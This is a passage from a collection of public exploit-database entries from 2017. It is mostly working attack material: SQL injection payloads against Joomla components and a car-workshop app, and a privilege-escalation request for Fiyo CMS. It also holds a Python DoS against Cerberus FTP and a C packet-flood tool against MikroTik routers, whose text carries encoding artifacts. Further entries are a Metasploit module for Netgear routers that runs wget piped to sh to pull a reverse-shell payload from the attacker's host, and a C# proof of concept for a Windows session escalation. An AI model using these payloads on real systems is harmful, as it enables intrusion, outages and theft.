POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio=

Yeaaah, now editor become super administrator privilege ^_^ and The level of administrator can be super administrator too.


IV. Thanks to:
- Alloh SWT
- MyBoboboy
- MII CAS
- Komunitas IT Auditor & IT Security Kaskus


Refer:
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
            
# # # # # 
# Exploit Title: Car Workshop System - SQL Injection
# Google Dork: N/A
# Date: 13.03.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software: https://codecanyon.net/item/car-workshop-system/19562074
# Demo: http://workshop.prosoft-apps.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
# 
# In addition.
# Technician User, There are security vulnerabilities.
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
# Etc..
# # # # #
            
# Exploit Title: Cerberus FTP server – Denial of Service
# Date: 2017-03-13
# Exploit Author: Peter Baris
# Vendor Homepage: https://www.cerberusftp.com/
# Software Link: [download link if available]
# Version: 8.0.10.1
# Tested on: Windows Server 2008 R2 Standard x64, Windows 7 Pro SP1 x64 
# CVE : CVE-2017-6367

# 2017-02-27: Vulnerability discovered, Contact to Cerberus Support
# 2017-02-27: Reply received, PoC exploit code sent 
# 2017-02-27: Problematic module identified by the vendor, gSOAP
# 2017-03-02: New version 8.0.10.2 released - https://www.cerberusftp.com/products/releasenotes/
# 2017-03-02: gSOAP module update released  by the vendor and advisory placed https://www.genivia.com/advisory.html
# 2017-03-02: grace period until 13th March
# 2017-03-13: Publishing 

import socket
import sys

try:
    host = sys.argv[1]
    port = 10001
except IndexError:
    print "[+] Usage %s <host>  " % sys.argv[0]
    sys.exit()


exploit = "A"*5004

buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+exploit+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: "+host+":"+str(port)+"\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1037

There is a security issue in the shared folder implementation that
permits cooperating guests with write access to the same shared folder to
gain access to the whole filesystem of the host, at least on Linux hosts.

The issue is that, when the host checks whether a given path escapes the root
directory of the shared folder in vbsfPathCheckRootEscape(), the function
assumes that the directory hierarchy is static: E.g. the path
"base/a/b/c/../../.." is assumed to be equivalent to "base/a/b/../..",
"base/a/.." and "base". However, at least on Linux, renames can occur at the
same time as path traversal.

This means that, if VM A attempts to open "base/a/b/c/../../../foo" while
VM B is moving "base/a/b/c" to "base/c_", VM A might actually end up opening
"base/../../foo" instead of "base/foo".

To demonstrate the issue, on a Linux host with Virtualbox 5.1.10:

 - Place a file called "real_root_marker" in the root directory of the Linux
   host, containing some secret text. The VMs will attempt to obtain
   the contents of this file.

   root@host:/# echo "this is secret text in the host fs" > /real_root_marker

 - Create two Linux VMs with a shared writable folder.
 - In the VMs, install the guest extensions, with the attached patch
   vboxsf_new.patch applied.
 - In the VMs, ensure that the new vboxsf kernel module is loaded and that
   the shared folder is mounted.
 - In VM A, compile and run the attached file openspam.c:

   root@vmA:/media/sf_vboxshared# gcc -o openspam openspam.c -std=gnu99
   root@vmA:/media/sf_vboxshared# ./openspam
   entering directory...
   entered directory and prepared folders, racing...

 - In VM B, compile and run the attached file renamespam.c:

   root@vmB:/media/sf_vboxshared# gcc -o renamespam renamespam.c -std=gnu99
   root@vmB:/media/sf_vboxshared# ./renamespam

Now, in VM A, you should see the contents of the host's /real_root_marker
within seconds:

    SUCCESS
    this is secret text in the host fs
    EOF

Note: The exploit assumes that the shared folder isn't more than nine levels
away from the filesystem root.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41597.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear R7000 and R6400 cgi-bin Command Injection",
      'Description'          => %q{
        This module exploits an arbitrary command injection vulnerability in
        Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'linux',
      'Author'               => ['thecarterb', 'Acew0rm'],
      'DefaultTarget'        => 0,
      'Privileged'           => true,
      'Arch'                 => ARCH_ARMLE,
      'Targets'              => [
        [ 'Automatic Target', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '40889'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
          [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
          [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
          [ 'CVE', '2016-6277']
        ],
      'DisclosureDate' => 'Dec 06 2016',
      'DefaultOptions'  =>
        {
          'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
        }
    ))

    register_options(
      [
        Opt::RPORT(80)
      ], self.class)

    deregister_options('URIPATH')
  end

  def scrape(text, start_trig, end_trig)
    text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end

  # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = scrape(data, marker_one, marker_two)
      vprint_status("Router is a NETGEAR router (#{model})")
      if model == 'R7000' || model == 'R6400'
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  def exploit
    return if check == CheckCode::Safe

    @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
    )
  end

  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
    if @cmdstager
      send_response(cli, @cmdstager)
      @cmdstager = nil
    else
      super
    end
  end

end
            
# # # # # 
# Exploit Title: Joomla! Component Simple Membership v3.3.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_simplemembership
# Date: 14.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software : https://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/simplemembership/
# Demo: http://ordasvit.com/simplemembership/
# Version: 3.3.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_simplemembership&Itemid=1&task=showUsersProfile&userId=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,database())),0)--+-
# # # # #
            
# # # # # 
# Exploit Title: Joomla! Component Advertisement Board v3.0.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_advertisementboard
# Date: 14.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software : https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/advertisement-board/
# Demo: http://ordasvit.com/joomla-adboard/
# Version: 3.0.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/153/show_alone_advertisement/7?task=show_alone_advertisement&id=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,database())),0)--+-
# # # # #
            
/*
#Exploit Title: MikroTik Router Denial Of Service | ARP Table OverFlow
#Exploit Author: Hosein Askari (FarazPajohan)
#Vendor HomePage: https://mikrotik.com/
#Affected Series: Hap Lite
#Version: 6.25
#Tested on: Parrot Security OS
#Date: 04-3-2017
#Category: Network Appliance
#Vulnerable Part: TCP Stack
#Author Mail :hosein.askari@aol.com
#Reference: https://cxsecurity.com/issue/WLB-2017030029
#CVE:2017-6444

#Description:
#The MikroTik Router has not protection mechanism for the case of a fast network connection which allows remote attackers to cause a denial of service (CPU consumption) by #sending many #TCP ACK packets. after the attacker stops the exploit , the CPU usage is 100% and the router should be reboot again for working normally.

#################
#Exploit Command :
# ~~~#exploit.out -T0 -h <MikroTik_ip> -p [23,23]
################
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp =3D=3D 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp =3D=3D 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define KET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner =3D "Written By C0NSTANTINE";
struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] =3D {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on =3D 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags =3D dstaddr =3D i =3D 0;
dst_sp =3D dst_ep =3D src_sp =3D src_ep =3D 0;
until =3D b_link =3D -1;
src_class =3D dst_class =3D NULL;
while ( (n =3D getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) !=3D -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |=3D TCP_ACK; break;
case 1: a_flags |=3D TCP_FIN; break;
case 2: a_flags |=3D TCP_RST; break;
case 3: a_flags |=3D TCP_SYN; break;

case 4: a_flags |=3D TCP_URG; break;


}
break;
case 'U':
a_flags |=3D UDP_CFF;
break;
case 'I':
a_flags |=3D ICMP_ECHO_G;
break;
case 'N':
a_flags |=3D TCP_NOF;
break;
case 's':
src_class =3D optarg;
break;
case 'h':
dstaddr =3D lookup(optarg);
break;
case 'd':
dst_class =3D optarg;
i =3D 1;
break;
case 'p':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
dst_sp =3D atoi(optarg);
dst_ep =3D atoi(p +1);
break;
case 'q':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
src_sp =3D atoi(optarg);
src_ep =3D atoi(p +1);
break;
case 'l':
b_link =3D atoi(optarg);
if (b_link <=3D 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until =3D time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp !=3D 0 && src_sp > src_ep) ||
(dst_sp !=3D 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family =3D AF_INET;
for (n =3D 0; ; ) {
if (b_link !=3D -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i =3D 0; a_list[i].f !=3D NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ =3D=3D 100) {
if (until !=3D -1 && time(0) >=3D until) break;
n =3D 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;

if ( (hp =3D gethostbyname(host)) =3D=3D NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;

for (i =3D 0, j =3D 0; class[i] !=3D '{TEXTO}'; ++i)
if (class[i] =3D=3D '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft =3D len;
int sum =3D 0;
unsigned short *w =3D addr;
unsigned short answer =3D 0;
while (nleft > 1) {
sum +=3D *w++;
nleft -=3D 2;
}
if (nleft =3D=3D 1) {
*(unsigned char *) (&answer) =3D *(unsigned char *)w;
sum +=3D answer;
}
sum =3D (sum >> 16) + (sum & 0xffff);
sum +=3D (sum >> 16);
answer =3D ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl =3D 5;
ip->ip_v =3D 4;
ip->ip_p =3D p;
ip->ip_tos =3D 0x08; /* 0x08 */
ip->ip_id =3D random();
ip->ip_len =3D len;
ip->ip_off =3D 0;
ip->ip_ttl =3D 255;
ip->ip_dst.s_addr =3D dst_class !=3D NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr =3D src_class !=3D NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr =3D ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr =3D dstaddr;
cksum.pseudo.mbz =3D 0;
cksum.pseudo.ptcl =3D IPPROTO_TCP;
cksum.pseudo.tcpl =3D htons(sizeof(struct tcphdr));
cksum.pseudo.saddr =3D packet.ip.ip_src.s_addr;
packet.tcp.th_flags =3D random();
packet.tcp.th_win =3D random();
packet.tcp.th_seq =3D random();
packet.tcp.th_ack =3D random();
packet.tcp.th_off =3D 5;
packet.tcp.th_urp =3D 0;
packet.tcp.th_sport =3D CHOOSE_SRC_PORT();
packet.tcp.th_dport =3D CHOOSE_DST_PORT();
cksum.tcp =3D packet.tcp;
packet.tcp.th_sum =3D in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport =3D CHOOSE_SRC_PORT();
packet.udp.uh_dport =3D CHOOSE_DST_PORT();
packet.udp.uh_ulen =3D htons(sizeof packet.udp);
packet.udp.uh_sum =3D 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type =3D ICMP_ECHO;
packet.icmp.icmp_code =3D 0;
packet.icmp.icmp_cksum =3D htons( ~(ICMP_ECHO << 8));
for(int pp=3D0;pp<=3D1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\=
n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m=
\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0=
m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;=
37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;3=
7m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[=
0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\=
n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom=
\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m=
\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n=
");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n")=
;
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0)=
;
exit(-1);
}
            
# # # # #
# Exploit Title: Joomla! Component Vik Appointments v1.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikappointments
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/livedemo/vikappointments/
# Demo: https://extensionsforjoomla.com/livedemo/vikappointments/
# Version: 1.5
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/our-staff?view=employeeslist&ordering=6&filters[group]=[SQL]&filters[service]=[SQL]&filters[country]=[SQL]&filters[state]=[SQL]
# ext4joo_vikappointmentsj3demo
# Etc..
# # # # #
            
# # # # #
# Exploit Title: Joomla! Component Vik Rent Items v1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentitems
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-items-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentitems/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentitems&task=showprc&itemopt=[SQL]&days=2&pickup=1490790600&release=1490947200&place=[SQL]&Itemid=132
# ext4joo_vikrentitemsj3demo
# Etc..
# # # # #
            
# # # # #
# Exploit Title: Joomla! Component Vik Rent Car v1.11 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentcar
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-car-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentcar/
# Version: 1.11
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentcar&caropt=[SQL]&days=31&pickup=1490947200&release=1493542800&place=[SQL]&task=showprc&Itemid=104
# ext4joo_vikrentcarj3demo
# Etc..
# # # # #
            
#Exploit Title: PCAUSA Rawether for Windows local privilege escalation
#Date: 2017-03-15
#Exploit Author: ReWolf
#Vendor Homepage: original vendor website doesn't exist anymore
#Version: too many
#Tested on: Windows 10 x64 (TH2, RS1)

Rawether for Windows is a framework that facilitates communication between an application and the NDIS miniport driver. It’s produced by a company named Printing Communications Assoc., Inc. (PCAUSA), which seems to be no longer operating. Company websites can be still reached through web.archive.org:

http://web.archive.org/web/20151017034756/http://www.pcausa.com/
http://web.archive.org/web/20151128171809/http://www.rawether.net/

Rawether framework provides NDIS Protocol Driver similar to the NPF.SYS (part of the WinPcap). This framework is used by many different hardware vendors in their WiFi and router control applications. Exploit attached to this advisory targets 64bit version of PcaSp60.sys driver which is part of ASUS PCE-AC56 WLAN Card Utilities.

More information:
- http://blog.rewolf.pl/blog/?p=1778
- https://github.com/rwfpl/rewolf-pcausa-exploit/tree/4045cd9b45d647430d779f5b0a018a7a11d6ca2a

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41605.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021

Windows: COM Session Moniker EoP
Platform: Tested on Windows 10 14393, Server 2012 R2
Class: Elevation of Privilege

Summary:
When activating an object using the session moniker the DCOM activator doesn’t check if the current user has permission allowing a user to start an arbitrary process in another logged on user’s session.

Description:

The COM session moniker allows a user to specify the interactive session that’s to be used when a DCOM object is registered with an AppID with RunAs of “Interactive User”. As switching sessions is not something a normal user can do you’d assume that this would be only accessible to administrators (or at least with Impersonate/Assign Primary Token privilege). It turns out however that there’s no such restriction, this allows one user to instantiate a DCOM object inside another user’s session on the same machine (think Terminal Server or Fast User Switching).

The only restriction on the user then accessing that instantiated server is the specified Access DACL. The default Access DACL on a modern system only allows the user identity the server is running as as well as Administrators to access the created object. However there are a number of statically registered servers which allow the interactive user group (and who knows how many dynamically allowed ones through CoInitializeSecurity). I already described one these in my blog post of resurrecting dead processes, HxHelpPaneServer. With this object we can execute an arbitrary process in the context of the other user in their session.

Fortunately at least it's not possible to create an object in Session 0 (as far as I can tell) as that's not an interactive session.

Proof of Concept:

I’ve attached a proof of concept in C#. To test PoC use the following steps.

1) Create two users on the same machine.
2) Log on to both users to ensure account setup has completed. 
3) As one of the users execute the PoC, ensure it prints that it’s going to start a new process. Switch to the other user (without logging out the one running the PoC).
4) After about 20 seconds a copy of notepad should start on the other user’s desktop. Of course this could be any process including an arbitrary executable from the other user.

NOTE: Make sure these user’s are not administrators, or at least are split token administrators. If they’re the Administrator user which doesn’t run by default with a filtered token then the user will not be able to access the DCOM object due to High IL and executing the process will fail. That’s not to say it’s impossible to exploit that scenario, just more difficult.

Expected Result:
Using a session moniker for a session outside the current one should fail if not an administrator.

Actual Result:
DCOM object created in the specified session an arbitrary executable run as that user.
*/

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;

namespace PoC_SessionMoniker_EoP
{
    class Program
    {
        [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface IHxHelpPaneServer
        {
            void DisplayTask(string task);
            void DisplayContents(string contents);
            void DisplaySearchResults(string search);
            void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
        }

        enum WTS_CONNECTSTATE_CLASS
        {
            WTSActive,              // User logged on to WinStation
            WTSConnected,           // WinStation connected to client
            WTSConnectQuery,        // In the process of connecting to client
            WTSShadow,              // Shadowing another WinStation
            WTSDisconnected,        // WinStation logged on without client
            WTSIdle,                // Waiting for client to connect
            WTSListen,              // WinStation is listening for connection
            WTSReset,               // WinStation is being reset
            WTSDown,                // WinStation is down due to error
            WTSInit,                // WinStation in initialization
        }

        [StructLayout(LayoutKind.Sequential)]
        struct WTS_SESSION_INFO
        {
            public int SessionId;
            public IntPtr pWinStationName;
            public WTS_CONNECTSTATE_CLASS State;
        }

        [DllImport("wtsapi32.dll", SetLastError = true)]
        static extern bool WTSEnumerateSessions(
                IntPtr hServer,
                int Reserved,
                int Version,
                out IntPtr ppSessionInfo,
                out int pCount);

        [DllImport("wtsapi32.dll", SetLastError = true)]
        static extern void WTSFreeMemory(IntPtr memory);

        public static IEnumerable<int> GetSessionIds()
        {
            List<int> sids = new List<int>();
            IntPtr pSessions = IntPtr.Zero;
            int dwSessionCount = 0;
            try
            {
                if (WTSEnumerateSessions(IntPtr.Zero, 0, 1, out pSessions, out dwSessionCount))
                {
                    IntPtr current = pSessions;
                    for (int i = 0; i < dwSessionCount; ++i)
                    {
                        WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
                        
                        if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive)
                        {
                            if (session_info.SessionId != 0)
                            {
                                sids.Add(session_info.SessionId);
                            }
                        }
                        current += Marshal.SizeOf(typeof(WTS_SESSION_INFO));
                    }
                }
            }
            finally
            {
                if (pSessions != IntPtr.Zero)
                {
                    WTSFreeMemory(pSessions);
                }
            }

            return sids;
        }

        static void Main(string[] args)
        {
            try
            {
                int current_session_id = Process.GetCurrentProcess().SessionId;
                int new_session_id = 0;
                Console.WriteLine("Waiting For a Target Session");
                while (true)
                {
                    IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
                    if (sessions.Count() > 0)
                    {
                        new_session_id = sessions.First();
                        break;
                    }
                    Thread.Sleep(1000);
                }
                
                Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
                Thread.Sleep(20000);
                IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
                Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
                server.Execute(target.AbsoluteUri);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }
    }
}